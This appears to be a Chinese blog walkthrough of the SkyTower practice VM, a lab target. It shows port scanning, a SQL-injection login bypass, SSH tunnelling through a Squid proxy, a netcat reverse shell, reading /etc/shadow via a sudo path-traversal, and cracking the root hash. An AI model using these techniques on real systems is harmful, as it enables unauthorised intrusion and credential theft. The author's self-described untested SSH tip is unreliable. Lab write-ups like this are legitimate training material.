skytower
本文最后更新于446 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、信息收集

sudo nmap -sn 192.168.56.0/24 获得目标IP 192.168.56.101

sudo nmap -sT –min-rate 10000 -p- 192.168.56.101

[sudo] xiyu 的密码:
Starting Nmap 7.92 ( https://nmap.org ) at 2024-04-21 09:54 CST
Nmap scan report for 192.168.56.101
Host is up (0.00067s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
22/tcp   filtered ssh
80/tcp   open     http
3128/tcp open     squid-http
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.56 seconds

sudo nmap -sC -sV -p 22,80,3128 192.168.56.101

Starting Nmap 7.92 ( https://nmap.org ) at 2024-04-21 20:29 CST
Nmap scan report for 192.168.56.101
Host is up (0.00035s latency).

PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Debian)
3128/tcp open     http-proxy Squid http proxy 3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.1.20
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.96 seconds

web信息

目录扫描

gobuster dir -u http://192.168.56.101 –wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .zip,.sql,.html,.rar,.txt,.php

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.101
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,rar,txt,php,zip,sql
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 286]
/.html                (Status: 403) [Size: 287]
/index.html           (Status: 200) [Size: 1136]
/index                (Status: 200) [Size: 1136]
/login.php            (Status: 200) [Size: 21]
/background           (Status: 200) [Size: 2572609]
/.html                (Status: 403) [Size: 287]
/.php                 (Status: 403) [Size: 286]
/background2          (Status: 200) [Size: 2831446]
/server-status        (Status: 403) [Size: 295]

二、立足点

访问 http://192.168.56.101 其实是访问 http://192.168.56.101/index.html

有一个登陆框 立即想到要测试 SQL注入

提交一下用户名和密码 发现会提交到 login.php

测试 ‘ ” 可以发现 是确定有sql注入点的

尝试使用 1 ‘ or 1=1 # 突破登陆验证 进入后台

可以发现 有多个字符被 过滤 or union select

or 被过滤了 使用 || —> 1‘ || 1=1 # 绕过成功登陆后台

获得一个凭证

Username: john
Password: hereisjohn

但是 发现 22端口 是 filtered ssh登陆用不了

同时 发现有端口 3128 运行着 squid-http 服务

Squid 是一个流行的开源代理服务器软件,常用于缓存和过滤 Web 内容,以及提供安全的网络访问。
1.代理服务器:Squid 是一个代理服务器,可以作为客户端和服务器之间的中间人,代理客户端发送的请求并返回服务器的响应。
2.缓存功能:Squid 可以缓存经常访问的 Web 内容,提高访问速度并减少对源服务器的负载。
过滤功能:Squid 可以根据配置规则过滤 Web 内容,例如禁止访问特定网站、阻止某些文件类型的下载等。
3.安全性:Squid 可以提供安全的网络访问,包括 SSL/TLS 加密连接、访问控制列表等功能

squid 是个代理服务器软件 可以将一个IP:端口的转发到另一个IP:端口

已知 80 可以访问 22 不可以访问 我们假设 3128 端口 将流量 转发到22 端口

那么我们可以使用 工具 将访问 22端口的流量 转发到3128 端口

proxytunnel -a 6666 -p 192.168.56.101:3128 -d 192.168.56.101:22&


Proxytunnel:
proxytunnel 是用于建立 TCP 隧道的工具,主要用于通过代理服务器连接到目标服务,例如通过 HTTP 代理连接到 SSH 服务。通过代理服务器进行网络通信,通常用于绕过网络防火墙或者增强通信的安全性。
proxytunnel 主要用于建立单个 TCP 隧道,一次只能连接一个目标服务。
proxytunnel -a local_port -p proxy_server:proxy_port -d destination_host:destination_port
-a local_port:本地监听的端口号,代理服务器会将流量转发到该端口。
-p proxy_server:proxy_port:代理服务器的地址和端口号。
-d destination_host:destination_port:目标主机的地址和端口号。

proxychains ssh john@192.168.56.101

配置 proxychains 的配置文件/etc/proxychains.conf

sudo vim /etc/proxychains.conf 添加一条记录

http 192.168.56.101 3128

1.proxychains 是一个可以让任何程序通过 SOCKS4、SOCKS5 或 HTTP 代理进行网络连接的工具。它可以对整个系统或者特定程序进行代理设置,使得所有网络流量都经过代理服务器。
2.proxychains 不仅可以用于建立 TCP 隧道,还可以用于代理 UDP 数据包,同时也支持 DNS 请求的代理。
3.proxychains 的使用更加灵活,可以对多个程序或者系统级别的网络流量进行代理设置

尝试使用 凭证登陆

登陆成功了 但是立刻被断开

经过搜索之后发现

在 /etc/profile 或用户的 .bashrc 文件中设置 TMOUT 变量来定义会话超时时间
TMOUT=0   # 立即退出会话
export TMOUT
一旦用户在 Shell 中没有活动(即没有键盘输入)立即会话会被强制退出,无需等待超时时间结束

既然登陆之后马上会被退出 就使用 ssh 的命令执行 查看一下情况

proxychains ssh john@192.168.56.101 -t “ls -al”

-t 参数用于强制分配一个TTY。当使用这个参数时,ssh会启动一个远程shell并提供与本地shell相似的交互式终端。 感觉不加也没关系 没什么本质的差别

proxychains ssh john@192.168.56.101 -t "nc -e /bin/bash 192.168.56.101 1234"
nc -lvp  1234 
可以发现 获得了一个最初始的反弹shell,可以执行命令 
但是想要 获取一个交互shell 时发现和 ssh登陆时一样 自动退出了 交互的shell

查看 .bahsrc

if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

echo
echo  "Funds have been withdrawn"
exit

将.bashrc 删除可以登陆 cp .bashrc bashrc rm .bashrc

插播两个没有验证的方法:

临时禁用.bashrc:
如果发现exit命令是导致问题的原因,你可以通过在SSH命令中使用-o(或--option)选项来禁用.bashrc的加载:

ssh -o "no_dotbashrc" username@hostname
或者,你可以在登录后立即运行以下命令来禁用.bashrc:

source <(echo "exit")

proxychains ssh john@192.168.56.101 登陆成功

三、提权

查看 /var/www/login.php 其中有登陆的逻辑 包含了数据库连接的语句 获得mysql 的用户和密码

mysql -u root -p root

登陆mysql 发现一个用户表

获得用户凭证:

sara ihatethisjob
william senseable

su sara 输入密码 用户提权成功

sudo -l

Matching Defaults entries for sara on this host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*

知识点 : ../绕过命令对路径的限制 2.在家目录 可以使用 ln -sv /etc/shadow shadow 创建shadow 指向/etc/shadow 注意:在家目录用户可以做很多事情

sudo /bin/cat /accounts/../home/sara/shadow

其实直接构造 成 sudo /bin/cat /accounts/../etc/shadow 就可以(哈哈)

获得root 的凭证

建一个字典来爆破root凭证
vim pass 
skytower
hashcat --stdout pass -r /home/xiyu/OneRuleToRuleThemStill-main/OneRuleToRuleThemStill.rule  >passlist.txt
john --format=sha512crypt --wordlist=./pass hash  

获得root的密码

su root

提权成功

文末附加内容
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇